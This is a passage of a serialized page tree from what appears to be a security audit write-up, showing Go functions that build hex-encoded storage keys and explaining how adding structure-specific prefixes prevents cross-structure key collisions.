props":86350,"children":86351},{"style":114},[86352],{"type":28,"value":86353}," PositionMapKey",{"type":23,"tag":41,"props":86355,"children":86356},{"style":70},[86357],{"type":28,"value":3461},{"type":23,"tag":41,"props":86359,"children":86360},{"class":43,"line":186},[86361,86365,86369],{"type":23,"tag":41,"props":86362,"children":86363},{"style":858},[86364],{"type":28,"value":85241},{"type":23,"tag":41,"props":86366,"children":86367},{"style":94},[86368],{"type":28,"value":76416},{"type":23,"tag":41,"props":86370,"children":86371},{"style":70},[86372],{"type":28,"value":3506},{"type":23,"tag":41,"props":86374,"children":86375},{"class":43,"line":195},[86376,86380,86384,86388,86392,86396],{"type":23,"tag":41,"props":86377,"children":86378},{"style":858},[86379],{"type":28,"value":85253},{"type":23,"tag":41,"props":86381,"children":86382},{"style":70},[86383],{"type":28,"value":970},{"type":23,"tag":41,"props":86385,"children":86386},{"style":858},[86387],{"type":28,"value":85734},{"type":23,"tag":41,"props":86389,"children":86390},{"style":70},[86391],{"type":28,"value":76222},{"type":23,"tag":41,"props":86393,"children":86394},{"style":94},[86395],{"type":28,"value":84759},{"type":23,"tag":41,"props":86397,"children":86398},{"style":70},[86399],{"type":28,"value":3506},{"type":23,"tag":41,"props":86401,"children":86402},{"class":43,"line":905},[86403,86407,86411,86415,86419],{"type":23,"tag":41,"props":86404,"children":86405},{"style":70},[86406],{"type":28,"value":76377},{"type":23,"tag":41,"props":86408,"children":86409},{"style":858},[86410],{"type":28,"value":72151},{"type":23,"tag":41,"props":86412,"children":86413},{"style":70},[86414],{"type":28,"value":76222},{"type":23,"tag":41,"props":86416,"children":86417},{"style":94},[86418],{"type":28,"value":84759},{"type":23,"tag":41,"props":86420,"children":86421},{"style":70},[86422],{"type":28,"value":152},{"type":23,"tag":41,"props":86424,"children":86425},{"class":43,"line":922},[86426,86430,86434,86438],{"type":23,"tag":41,"props":86427,"children":86428},{"style":858},[86429],{"type":28,"value":85855},{"type":23,"tag":41,"props":86431,"children":86432},{"style":170},[86433],{"type":28,"value":76411},{"type":23,"tag":41,"props":86435,"children":86436},{"style":114},[86437],{"type":28,"value":85558},{"type":23,"tag":41,"props":86439,"children":86440},{"style":70},[86441],{"type":28,"value":3461},{"type":23,"tag":41,"props":86443,"children":86444},{"class":43,"line":930},[86445,86450,86454],{"type":23,"tag":41,"props":86446,"children":86447},{"style":70},[86448],{"type":28,"value":86449},"        []",{"type":23,"tag":41,"props":86451,"children":86452},{"style":94},[86453],{"type":28,"value":84759},{"type":23,"tag":41,"props":86455,"children":86456},{"style":70},[86457],{"type":28,"value":3506},{"type":23,"tag":41,"props":86459,"children":86460},{"class":43,"line":939},[86461,86466,86470,86474,86478,86482,86486,86490],{"type":23,"tag":41,"props":86462,"children":86463},{"style":858},[86464],{"type":28,"value":86465},"        hex",{"type":23,"tag":41,"props":86467,"children":86468},{"style":70},[86469],{"type":28,"value":706},{"type":23,"tag":41,"props":86471,"children":86472},{"style":114},[86473],{"type":28,"value":85595},{"type":23,"tag":41,"props":86475,"children":86476},{"style":70},[86477],{"type":28,"value":1737},{"type":23,"tag":41,"props":86479,"children":86480},{"style":114},[86481],{"type":28,"value":9136},{"type":23,"tag":41,"props":86483,"children":86484},{"style":70},[86485],{"type":28,"value":1737},{"type":23,"tag":41,"props":86487,"children":86488},{"style":858},[86489],{"type":28,"value":85465},{"type":23,"tag":41,"props":86491,"children":86492},{"style":70},[86493],{"type":28,"value":85616},{"type":23,"tag":41,"props":86495,"children":86496},{"class":43,"line":947},[86497],{"type":23,"tag":41,"props":86498,"children":86499},{"style":70},[86500],{"type":28,"value":23917},{"type":23,"tag":41,"props":86502,"children":86503},{"class":43,"line":985},[86504,86508,86512,86516,86520,86524,86528,86532],{"type":23,"tag":41,"props":86505,"children":86506},{"style":858},[86507],{"type":28,"value":85586},{"type":23,"tag":41,"props":86509,"children":86510},{"style":70},[86511],{"type":28,"value":706},{"type":23,"tag":41,"props":86513,"children":86514},{"style":114},[86515],{"type":28,"value":85640},{"type":23,"tag":41,"props":86517,"children":86518},{"style":70},[86519],{"type":28,"value":1737},{"type":23,"tag":41,"props":86521,"children":86522},{"style":858},[86523],{"type":28,"value":85549},{"type":23,"tag":41,"props":86525,"children":86526},{"style":70},[86527],{"type":28,"value":970},{"type":23,"tag":41,"props":86529,"children":86530},{"style":858},[86531],{"type":28,"value":85465},{"type":23,"tag":41,"props":86533,"children":86534},{"style":70},[86535],{"type":28,"value":1969},{"type":23,"tag":41,"props":86537,"children":86538},{"class":43,"line":1058},[86539],{"type":23,"tag":41,"props":86540,"children":86541},{"emptyLinePlaceholder":18},[86542],{"type":28,"value":82},{"type":23,"tag":41,"props":86544,"children":86545},{"class":43,"line":1084},[86546,86551,86555,86559],{"type":23,"tag":41,"props":86547,"children":86548},{"style":858},[86549],{"type":28,"value":86550},"    positionNameEncoded",{"type":23,"tag":41,"props":86552,"children":86553},{"style":170},[86554],{"type":28,"value":76411},{"type":23,"tag":41,"props":86556,"children":86557},{"style":114},[86558],{"type":28,"value":85558},{"type":23,"tag":41,"props":86560,"children":86561},{"style":70},[86562],{"type":28,"value":3461},{"type":23,"tag":41,"props":86564,"children":86565},{"class":43,"line":1102},[86566,86570,86574],{"type":23,"tag":41,"props":86567,"children":86568},{"style":70},[86569],{"type":28,"value":86449},{"type":23,"tag":41,"props":86571,"children":86572},{"style":94},[86573],{"type":28,"value":84759},{"type":23,"tag":41,"props":86575,"children":86576},{"style":70},[86577],{"type":28,"value":3506},{"type":23,"tag":41,"props":86579,"children":86580},{"class":43,"line":1110},[86581,86585,86589,86593,86597,86601,86605,86609],{"type":23,"tag":41,"props":86582,"children":86583},{"style":858},[86584],{"type":28,"value":86465},{"type":23,"tag":41,"props":86586,"children":86587},{"style":70},[86588],{"type":28,"value":706},{"type":23,"tag":41,"props":86590,"children":86591},{"style":114},[86592],{"type":28,"value":85595},{"type":23,"tag":41,"props":86594,"children":86595},{"style":70},[86596],{"type":28,"value":1737},{"type":23,"tag":41,"props":86598,"children":86599},{"style":114},[86600],{"type":28,"value":9136},{"type":23,"tag":41,"props":86602,"children":86603},{"style":70},[86604],{"type":28,"value":1737},{"type":23,"tag":41,"props":86606,"children":86607},{"style":858},[86608],{"type":28,"value":85734},{"type":23,"tag":41,"props":86610,"children":86611},{"style":70},[86612],{"type":28,"value":85616},{"type":23,"tag":41,"props":86614,"children":86615},{"class":43,"line":1118},[86616],{"type":23,"tag":41,"props":86617,"children":86618},{"style":70},[86619],{"type":28,"value":23917},{"type":23,"tag":41,"props":86621,"children":86622},{"class":43,"line":1137},[86623,86627,86631,86635,86639,86643,86647,86651],{"type":23,"tag":41,"props":86624,"children":86625},{"style":858},[86626],{"type":28,"value":85586},{"type":23,"tag":41,"props":86628,"children":86629},{"style":70},[86630],{"type":28,"value":706},{"type":23,"tag":41,"props":86632,"children":86633},{"style":114},[86634],{"type":28,"value":85640},{"type":23,"tag":41,"props":86636,"children":86637},{"style":70},[86638],{"type":28,"value":1737},{"type":23,"tag":41,"props":86640,"children":86641},{"style":858},[86642],{"type":28,"value":85675},{"type":23,"tag":41,"props":86644,"children":86645},{"style":70},[86646],{"type":28,"value":970},{"type":23,"tag":41,"props":86648,"children":86649},{"style":858},[86650],{"type":28,"value":85734},{"type":23,"tag":41,"props":86652,"children":86653},{"style":70},[86654],{"type":28,"value":1969},{"type":23,"tag":41,"props":86656,"children":86657},{"class":43,"line":1163},[86658],{"type":23,"tag":41,"props":86659,"children":86660},{"emptyLinePlaceholder":18},[86661],{"type":28,"value":82},{"type":23,"tag":41,"props":86663,"children":86664},{"class":43,"line":1188},[86665,86670,86674,86678,86682,86686],{"type":23,"tag":41,"props":86666,"children":86667},{"style":858},[86668],{"type":28,"value":86669},"    key",{"type":23,"tag":41,"props":86671,"children":86672},{"style":170},[86673],{"type":28,"value":76411},{"type":23,"tag":41,"props":86675,"children":86676},{"style":858},[86677],{"type":28,"value":82228},{"type":23,"tag":41,"props":86679,"children":86680},{"style":70},[86681],{"type":28,"value":706},{"type":23,"tag":41,"props":86683,"children":86684},{"style":114},[86685],{"type":28,"value":85217},{"type":23,"tag":41,"props":86687,"children":86688},{"style":70},[86689],{"type":28,"value":3461},{"type":23,"tag":41,"props":86691,"children":86692},{"class":43,"line":1979},[86693,86698],{"type":23,"tag":41,"props":86694,"children":86695},{"style":735},[86696],{"type":28,"value":86697},"        \"%d%s%s%s%s\"",{"type":23,"tag":41,"props":86699,"children":86700},{"style":70},[86701],{"type":28,"value":3506},{"type":23,"tag":41,"props":86703,"children":86704},{"class":43,"line":2002},[86705,86710],{"type":23,"tag":41,"props":86706,"children":86707},{"style":858},[86708],{"type":28,"value":86709},"        vaultId",{"type":23,"tag":41,"props":86711,"children":86712},{"style":70},[86713],{"type":28,"value":3506},{"type":23,"tag":41,"props":86715,"children":86716},{"class":43,"line":3835},[86717,86722],{"type":23,"tag":41,"props":86718,"children":86719},{"style":858},[86720],{"type":28,"value":86721},"        Seperator",{"type":23,"tag":41,"props":86723,"children":86724},{"style":70},[86725],{"type":28,"value":3506},{"type":23,"tag":41,"props":86727,"children":86728},{"class":43,"line":3895},[86729,86734],{"type":23,"tag":41,"props":86730,"children":86731},{"style":858},[86732],{"type":28,"value":86733},"        usernameEncoded",{"type":23,"tag":41,"props":86735,"children":86736},{"style":70},[86737],{"type":28,"value":3506},{"type":23,"tag":41,"props":86739,"children":86740},{"class":43,"line":9044},[86741,86745],{"type":23,"tag":41,"props":86742,"children":86743},{"style":858},[86744],{"type":28,"value":86721},{"type":23,"tag":41,"props":86746,"children":86747},{"style":70},[86748],{"type":28,"value":3506},{"type":23,"tag":41,"props":86750,"children":86751},{"class":43,"line":9061},[86752,86757],{"type":23,"tag":41,"props":86753,"children":86754},{"style":858},[86755],{"type":28,"value":86756},"        positionNameEncoded",{"type":23,"tag":41,"props":86758,"children":86759},{"style":70},[86760],{"type":28,"value":3506},{"type":23,"tag":41,"props":86762,"children":86763},{"class":43,"line":9106},[86764],{"type":23,"tag":41,"props":86765,"children":86766},{"style":70},[86767],{"type":28,"value":23917},{"type":23,"tag":41,"props":86769,"children":86770},{"class":43,"line":9212},[86771],{"type":23,"tag":41,"props":86772,"children":86773},{"style":70},[86774],{"type":28,"value":201},{"type":23,"tag":41,"props":86776,"children":86777},{"class":43,"line":23496},[86778],{"type":23,"tag":41,"props":86779,"children":86780},{"emptyLinePlaceholder":18},[86781],{"type":28,"value":82},{"type":23,"tag":41,"props":86783,"children":86784},{"class":43,"line":23531},[86785],{"type":23,"tag":41,"props":86786,"children":86787},{"emptyLinePlaceholder":18},[86788],{"type":28,"value":82},{"type":23,"tag":41,"props":86790,"children":86791},{"class":43,"line":23539},[86792,86796,86801],{"type":23,"tag":41,"props":86793,"children":86794},{"style":64},[86795],{"type":28,"value":76295},{"type":23,"tag":41,"props":86797,"children":86798},{"style":114},[86799],{"type":28,"value":86800}," AddressMapKey",{"type":23,"tag":41,"props":86802,"children":86803},{"style":70},[86804],{"type":28,"value":3461},{"type":23,"tag":41,"props":86806,"children":86807},{"class":43,"line":23547},[86808,86812,86816],{"type":23,"tag":41,"props":86809,"children":86810},{"style":858},[86811],{"type":28,"value":85241},{"type":23,"tag":41,"props":86813,"children":86814},{"style":94},[86815],{"type":28,"value":76416},{"type":23,"tag":41,"props":86817,"children":86818},{"style":70},[86819],{"type":28,"value":3506},{"type":23,"tag":41,"props":86821,"children":86822},{"class":43,"line":23556},[86823,86827,86831,86836,86840],{"type":23,"tag":41,"props":86824,"children":86825},{"style":858},[86826],{"type":28,"value":85253},{"type":23,"tag":41,"props":86828,"children":86829},{"style":70},[86830],{"type":28,"value":970},{"type":23,"tag":41,"props":86832,"children":86833},{"style":858},[86834],{"type":28,"value":86835},"addressName",{"type":23,"tag":41,"props":86837,"children":86838},{"style":70},[86839],{"type":28,"value":76222},{"type":23,"tag":41,"props":86841,"children":86842},{"style":94},[86843],{"type":28,"value":84222},{"type":23,"tag":41,"props":86845,"children":86846},{"class":43,"line":23598},[86847,86851,86855,86859,86863],{"type":23,"tag":41,"props":86848,"children":86849},{"style":70},[86850],{"type":28,"value":76377},{"type":23,"tag":41,"props":86852,"children":86853},{"style":858},[86854],{"type":28,"value":72151},{"type":23,"tag":41,"props":86856,"children":86857},{"style":70},[86858],{"type":28,"value":76222},{"type":23,"tag":41,"props":86860,"children":86861},{"style":94},[86862],{"type":28,"value":84759},{"type":23,"tag":41,"props":86864,"children":86865},{"style":70},[86866],{"type":28,"value":152},{"type":23,"tag":41,"props":86868,"children":86869},{"class":43,"line":23631},[86870,86874,86878,86882],{"type":23,"tag":41,"props":86871,"children":86872},{"style":858},[86873],{"type":28,"value":85855},{"type":23,"tag":41,"props":86875,"children":86876},{"style":170},[86877],{"type":28,"value":76411},{"type":23,"tag":41,"props":86879,"children":86880},{"style":114},[86881],{"type":28,"value":85558},{"type":23,"tag":41,"props":86883,"children":86884},{"style":70},[86885],{"type":28,"value":3461},{"type":23,"tag":41,"props":86887,"children":86888},{"class":43,"line":23639},[86889,86893,86897],{"type":23,"tag":41,"props":86890,"children":86891},{"style":70},[86892],{"type":28,"value":86449},{"type":23,"tag":41,"props":86894,"children":86895},{"style":94},[86896],{"type":28,"value":84759},{"type":23,"tag":41,"props":86898,"children":86899},{"style":70},[86900],{"type":28,"value":3506},{"type":23,"tag":41,"props":86902,"children":86903},{"class":43,"line":23647},[86904,86908,86912,86916,86920,86924,86928,86932],{"type":23,"tag":41,"props":86905,"children":86906},{"style":858},[86907],{"type":28,"value":86465},{"type":23,"tag":41,"props":86909,"children":86910},{"style":70},[86911],{"type":28,"value":706},{"type":23,"tag":41,"props":86913,"children":86914},{"style":114},[86915],{"type":28,"value":85595},{"type":23,"tag":41,"props":86917,"children":86918},{"style":70},[86919],{"type":28,"value":1737},{"type":23,"tag":41,"props":86921,"children":86922},{"style":114},[86923],{"type":28,"value":9136},{"type":23,"tag":41,"props":86925,"children":86926},{"style":70},[86927],{"type":28,"value":1737},{"type":23,"tag":41,"props":86929,"children":86930},{"style":858},[86931],{"type":28,"value":85465},{"type":23,"tag":41,"props":86933,"children":86934},{"style":70},[86935],{"type":28,"value":85616},{"type":23,"tag":41,"props":86937,"children":86938},{"class":43,"line":23656},[86939],{"type":23,"tag":41,"props":86940,"children":86941},{"style":70},[86942],{"type":28,"value":23917},{"type":23,"tag":41,"props":86944,"children":86945},{"class":43,"line":23732},[86946,86950,86954,86958,86962,86966,86970,86974],{"type":23,"tag":41,"props":86947,"children":86948},{"style":858},[86949],{"type":28,"value":85586},{"type":23,"tag":41,"props":86951,"children":86952},{"style":70},[86953],{"type":28,"value":706},{"type":23,"tag":41,"props":86955,"children":86956},{"style":114},[86957],{"type":28,"value":85640},{"type":23,"tag":41,"props":86959,"children":86960},{"style":70},[86961],{"type":28,"value":1737},{"type":23,"tag":41,"props":86963,"children":86964},{"style":858},[86965],{"type":28,"value":85549},{"type":23,"tag":41,"props":86967,"children":86968},{"style":70},[86969],{"type":28,"value":970},{"type":23,"tag":41,"props":86971,"children":86972},{"style":858},[86973],{"type":28,"value":85465},{"type":23,"tag":41,"props":86975,"children":86976},{"style":70},[86977],{"type":28,"value":1969},{"type":23,"tag":41,"props":86979,"children":86980},{"class":43,"line":23765},[86981],{"type":23,"tag":41,"props":86982,"children":86983},{"emptyLinePlaceholder":18},[86984],{"type":28,"value":82},{"type":23,"tag":41,"props":86986,"children":86987},{"class":43,"line":23773},[86988,86993,86997,87001],{"type":23,"tag":41,"props":86989,"children":86990},{"style":858},[86991],{"type":28,"value":86992},"    addressNameEncoded",{"type":23,"tag":41,"props":86994,"children":86995},{"style":170},[86996],{"type":28,"value":76411},{"type":23,"tag":41,"props":86998,"children":86999},{"style":114},[87000],{"type":28,"value":85558},{"type":23,"tag":41,"props":87002,"children":87003},{"style":70},[87004],{"type":28,"value":3461},{"type":23,"tag":41,"props":87006,"children":87007},{"class":43,"line":23781},[87008,87012,87016],{"type":23,"tag":41,"props":87009,"children":87010},{"style":70},[87011],{"type":28,"value":86449},{"type":23,"tag":41,"props":87013,"children":87014},{"style":94},[87015],{"type":28,"value":84759},{"type":23,"tag":41,"props":87017,"children":87018},{"style":70},[87019],{"type":28,"value":3506},{"type":23,"tag":41,"props":87021,"children":87022},{"class":43,"line":23818},[87023,87027,87031,87035,87039,87043,87047,87051],{"type":23,"tag":41,"props":87024,"children":87025},{"style":858},[87026],{"type":28,"value":86465},{"type":23,"tag":41,"props":87028,"children":87029},{"style":70},[87030],{"type":28,"value":706},{"type":23,"tag":41,"props":87032,"children":87033},{"style":114},[87034],{"type":28,"value":85595},{"type":23,"tag":41,"props":87036,"children":87037},{"style":70},[87038],{"type":28,"value":1737},{"type":23,"tag":41,"props":87040,"children":87041},{"style":114},[87042],{"type":28,"value":9136},{"type":23,"tag":41,"props":87044,"children":87045},{"style":70},[87046],{"type":28,"value":1737},{"type":23,"tag":41,"props":87048,"children":87049},{"style":858},[87050],{"type":28,"value":86835},{"type":23,"tag":41,"props":87052,"children":87053},{"style":70},[87054],{"type":28,"value":85616},{"type":23,"tag":41,"props":87056,"children":87057},{"class":43,"line":23831},[87058],{"type":23,"tag":41,"props":87059,"children":87060},{"style":70},[87061],{"type":28,"value":23917},{"type":23,"tag":41,"props":87063,"children":87064},{"class":43,"line":23844},[87065,87069,87073,87077,87081,87086,87090,87094],{"type":23,"tag":41,"props":87066,"children":87067},{"style":858},[87068],{"type":28,"value":85586},{"type":23,"tag":41,"props":87070,"children":87071},{"style":70},[87072],{"type":28,"value":706},{"type":23,"tag":41,"props":87074,"children":87075},{"style":114},[87076],{"type":28,"value":85640},{"type":23,"tag":41,"props":87078,"children":87079},{"style":70},[87080],{"type":28,"value":1737},{"type":23,"tag":41,"props":87082,"children":87083},{"style":858},[87084],{"type":28,"value":87085},"addressNameEncoded",{"type":23,"tag":41,"props":87087,"children":87088},{"style":70},[87089],{"type":28,"value":970},{"type":23,"tag":41,"props":87091,"children":87092},{"style":858},[87093],{"type":28,"value":86835},{"type":23,"tag":41,"props":87095,"children":87096},{"style":70},[87097],{"type":28,"value":1969},{"type":23,"tag":41,"props":87099,"children":87100},{"class":43,"line":23857},[87101],{"type":23,"tag":41,"props":87102,"children":87103},{"emptyLinePlaceholder":18},[87104],{"type":28,"value":82},{"type":23,"tag":41,"props":87106,"children":87107},{"class":43,"line":23911},[87108,87112,87116,87120,87124,87128],{"type":23,"tag":41,"props":87109,"children":87110},{"style":858},[87111],{"type":28,"value":86669},{"type":23,"tag":41,"props":87113,"children":87114},{"style":170},[87115],{"type":28,"value":76411},{"type":23,"tag":41,"props":87117,"children":87118},{"style":858},[87119],{"type":28,"value":82228},{"type":23,"tag":41,"props":87121,"children":87122},{"style":70},[87123],{"type":28,"value":706},{"type":23,"tag":41,"props":87125,"children":87126},{"style":114},[87127],{"type":28,"value":85217},{"type":23,"tag":41,"props":87129,"children":87130},{"style":70},[87131],{"type":28,"value":3461},{"type":23,"tag":41,"props":87133,"children":87134},{"class":43,"line":23920},[87135,87139],{"type":23,"tag":41,"props":87136,"children":87137},{"style":735},[87138],{"type":28,"value":86697},{"type":23,"tag":41,"props":87140,"children":87141},{"style":70},[87142],{"type":28,"value":3506},{"type":23,"tag":41,"props":87144,"children":87145},{"class":43,"line":32275},[87146,87150],{"type":23,"tag":41,"props":87147,"children":87148},{"style":858},[87149],{"type":28,"value":86709},{"type":23,"tag":41,"props":87151,"children":87152},{"style":70},[87153],{"type":28,"value":3506},{"type":23,"tag":41,"props":87155,"children":87156},{"class":43,"line":32296},[87157,87161],{"type":23,"tag":41,"props":87158,"children":87159},{"style":858},[87160],{"type":28,"value":86721},{"type":23,"tag":41,"props":87162,"children":87163},{"style":70},[87164],{"type":28,"value":3506},{"type":23,"tag":41,"props":87166,"children":87167},{"class":43,"line":80946},[87168,87172],{"type":23,"tag":41,"props":87169,"children":87170},{"style":858},[87171],{"type":28,"value":86733},{"type":23,"tag":41,"props":87173,"children":87174},{"style":70},[87175],{"type":28,"value":3506},{"type":23,"tag":41,"props":87177,"children":87178},{"class":43,"line":80959},[87179,87183],{"type":23,"tag":41,"props":87180,"children":87181},{"style":858},[87182],{"type":28,"value":86721},{"type":23,"tag":41,"props":87184,"children":87185},{"style":70},[87186],{"type":28,"value":3506},{"type":23,"tag":41,"props":87188,"children":87189},{"class":43,"line":80967},[87190,87195],{"type":23,"tag":41,"props":87191,"children":87192},{"style":858},[87193],{"type":28,"value":87194},"        addressNameEncoded",{"type":23,"tag":41,"props":87196,"children":87197},{"style":70},[87198],{"type":28,"value":3506},{"type":23,"tag":41,"props":87200,"children":87201},{"class":43,"line":80975},[87202],{"type":23,"tag":41,"props":87203,"children":87204},{"style":70},[87205],{"type":28,"value":23917},{"type":23,"tag":41,"props":87207,"children":87208},{"class":43,"line":80983},[87209],{"type":23,"tag":41,"props":87210,"children":87211},{"style":70},[87212],{"type":28,"value":201},{"type":23,"tag":24,"props":87214,"children":87215},{},[87216,87218,87223],{"type":28,"value":87217},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":37,"props":87219,"children":87221},{"className":87220},[],[87222],{"type":28,"value":84971},{"type":28,"value":87224},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":31,"props":87226,"children":87228},{"code":87227},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[87229],{"type":23,"tag":37,"props":87230,"children":87231},{"__ignoreMap":7},[87232],{"type":28,"value":87227},{"type":23,"tag":24,"props":87234,"children":87235},{},[87236],{"type":28,"value":87237},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":31,"props":87239,"children":87241},{"code":87240,"language":76159,"meta":7,"className":76160,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[87242],{"type":23,"tag":37,"props":87243,"children":87244},{"__ignoreMap":7},[87245,87256,87271,87298,87323,87330,87337,87344,87359,87374,87401,87424,87443,87458,87493,87500,87535,87542,87561,87576,87611,87618,87653,87660,87687,87699,87711,87722,87733,87744,87755,87766,87773,87780,87787,87794,87809,87824,87851,87874,87893,87908,87943,87950,87985,87992,88011,88026,88061,88068,88103,88110,88137,88148,88160,88171,88182,88193,88204,88215,88223],{"type":23,"tag":41,"props":87246,"children":87247},{"class":43,"line":44},[87248,87252],{"type":23,"tag":41,"props":87249,"children":87250},{"style":64},[87251],{"type":28,"value":846},{"type":23,"tag":41,"props":87253,"children":87254},{"style":70},[87255],{"type":28,"value":78561},{"type":23,"tag":41,"props":87257,"children":87258},{"class":43,"line":54},[87259,87263,87267],{"type":23,"tag":41,"props":87260,"children":87261},{"style":858},[87262],{"type":28,"value":85325},{"type":23,"tag":41,"props":87264,"children":87265},{"style":170},[87266],{"type":28,"value":3017},{"type":23,"tag":41,"props":87268,"children":87269},{"style":735},[87270],{"type":28,"value":85334},{"type":23,"tag":41,"props":87272,"children":87273},{"class":43,"line":76},[87274,87279,87283,87288,87293],{"type":23,"tag":41,"props":87275,"children":87276},{"style":858},[87277],{"type":28,"value":87278},"    PositionMapPrefix",{"type":23,"tag":41,"props":87280,"children":87281},{"style":170},[87282],{"type":28,"value":3017},{"type":23,"tag":41,"props":87284,"children":87285},{"style":735},[87286],{"type":28,"value":87287}," \"",{"type":23,"tag":41,"props":87289,"children":87290},{"style":48367},[87291],{"type":28,"value":87292},"\\x01",{"type":23,"tag":41,"props":87294,"children":87295},{"style":735},[87296],{"type":28,"value":87297},"\"\n",{"type":23,"tag":41,"props":87299,"children":87300},{"class":43,"line":85},[87301,87306,87310,87314,87319],{"type":23,"tag":41,"props":87302,"children":87303},{"style":858},[87304],{"type":28,"value":87305},"    AddressMapPrefix",{"type":23,"tag":41,"props":87307,"children":87308},{"style":170},[87309],{"type":28,"value":3017},{"type":23,"tag":41,"props":87311,"children":87312},{"style":735},[87313],{"type":28,"value":87287},{"type":23,"tag":41,"props":87315,"children":87316},{"style":48367},[87317],{"type":28,"value":87318},"\\x02",{"type":23,"tag":41,"props":87320,"children":87321},{"style":735},[87322],{"type":28,"value":87297},{"type":23,"tag":41,"props":87324,"children":87325},{"class":43,"line":105},[87326],{"type":23,"tag":41,"props":87327,"children":87328},{"style":70},[87329],{"type":28,"value":1969},{"type":23,"tag":41,"props":87331,"children":87332},{"class":43,"line":155},[87333],{"type":23,"tag":41,"props":87334,"children":87335},{"emptyLinePlaceholder":18},[87336],{"type":28,"value":82},{"type":23,"tag":41,"props":87338,"children":87339},{"class":43,"line":186},[87340],{"type":23,"tag":41,"props":87341,"children":87342},{"emptyLinePlaceholder":18},[87343],{"type":28,"value":82},{"type":23,"tag":41,"props":87345,"children":87346},{"class":43,"line":195},[87347,87351,87355],{"type":23,"tag":41,"props":87348,"children":87349},{"style":64},[87350],{"type":28,"value":76295},{"type":23,"tag":41,"props":87352,"children":87353},{"style":114},[87354],{"type":28,"value":86353},{"type":23,"tag":41,"props":87356,"children":87357},{"style":70},[87358],{"type":28,"value":3461},{"type":23,"tag":41,"props":87360,"children":87361},{"class":43,"line":905},[87362,87366,87370],{"type":23,"tag":41,"props":87363,"children":87364},{"style":858},[87365],{"type":28,"value":85241},{"type":23,"tag":41,"props":87367,"children":87368},{"style":94},[87369],{"type":28,"value":76416},{"type":23,"tag":41,"props":87371,"children":87372},{"style":70},[87373],{"type":28,"value":3506},{"type":23,"tag":41,"props":87375,"children":87376},{"class":43,"line":922},[87377,87381,87385,87389,87393,87397],{"type":23,"tag":41,"props":87378,"children":87379},{"style":858},[87380],{"type":28,"value":85253},{"type":23,"tag":41,"props":87382,"children":87383},{"style":70},[87384],{"type":28,"value":970},{"type":23,"tag":41,"props":87386,"children":87387},{"style":858},[87388],{"type":28,"value":85734},{"type":23,"tag":41,"props":87390,"children":87391},{"style":70},[87392],{"type":28,"value":76222},{"type":23,"tag":41,"props":87394,"children":87395},{"style":94},[87396],{"type":28,"value":84759},{"type":23,"tag":41,"props":87398,"children":87399},{"style":70},[87400],{"type":28,"value":3506},{"type":23,"tag":41,"props":87402,"children":87403},{"class":43,"line":930},[87404,87408,87412,87416,87420],{"type":23,"tag":41,"props":87405,"children":87406},{"style":70},[87407],{"type":28,"value":76377},{"type":23,"tag":41,"props":87409,"children":87410},{"style":858},[87411],{"type":28,"value":72151},{"type":23,"tag":41,"props":87413,"children":87414},{"style":70},[87415],{"type":28,"value":76222},{"type":23,"tag":41,"props":87417,"children":87418},{"style":94},[87419],{"type":28,"value":84759},{"type":23,"tag":41,"props":87421,"children":87422},{"style":70},[87423],{"type":28,"value":152},{"type":23,"tag":41,"props":87425,"children":87426},{"class":43,"line":939},[87427,87431,87435,87439],{"type":23,"tag":41,"props":87428,"children":87429},{"style":858},[87430],{"type":28,"value":85855},{"type":23,"tag":41,"props":87432,"children":87433},{"style":170},[87434],{"type":28,"value":76411},{"type":23,"tag":41,"props":87436,"children":87437},{"style":114},[87438],{"type":28,"value":85558},{"type":23,"tag":41,"props":87440,"children":87441},{"style":70},[87442],{"type":28,"value":3461},{"type":23,"tag":41,"props":87444,"children":87445},{"class":43,"line":947},[87446,87450,87454],{"type":23,"tag":41,"props":87447,"children":87448},{"style":70},[87449],{"type":28,"value":86449},{"type":23,"tag":41,"props":87451,"children":87452},{"style":94},[87453],{"type":28,"value":84759},{"type":23,"tag":41,"props":87455,"children":87456},{"style":70},[87457],{"type":28,"value":3506},{"type":23,"tag":41,"props":87459,"children":87460},{"class":43,"line":985},[87461,87465,87469,87473,87477,87481,87485,87489],{"type":23,"tag":41,"props":87462,"children":87463},{"style":858},[87464],{"type":28,"value":86465},{"type":23,"tag":41,"props":87466,"children":87467},{"style":70},[87468],{"type":28,"value":706},{"type":23,"tag":41,"props":87470,"children":87471},{"style":114},[87472],{"type":28,"value":85595},{"type":23,"tag":41,"props":87474,"children":87475},{"style":70},[87476],{"type":28,"value":1737},{"type":23,"tag":41,"props":87478,"children":87479},{"style":114},[87480],{"type":28,"value":9136},{"type":23,"tag":41,"props":87482,"children":87483},{"style":70},[87484],{"type":28,"value":1737},{"type":23,"tag":41,"props":87486,"children":87487},{"style":858},[87488],{"type":28,"value":85465},{"type":23,"tag":41,"props":87490,"children":87491},{"style":70},[87492],{"type":28,"value":85616},{"type":23,"tag":41,"props":87494,"children":87495},{"class":43,"line":1058},[87496],{"type":23,"tag":41,"props":87497,"children":87498},{"s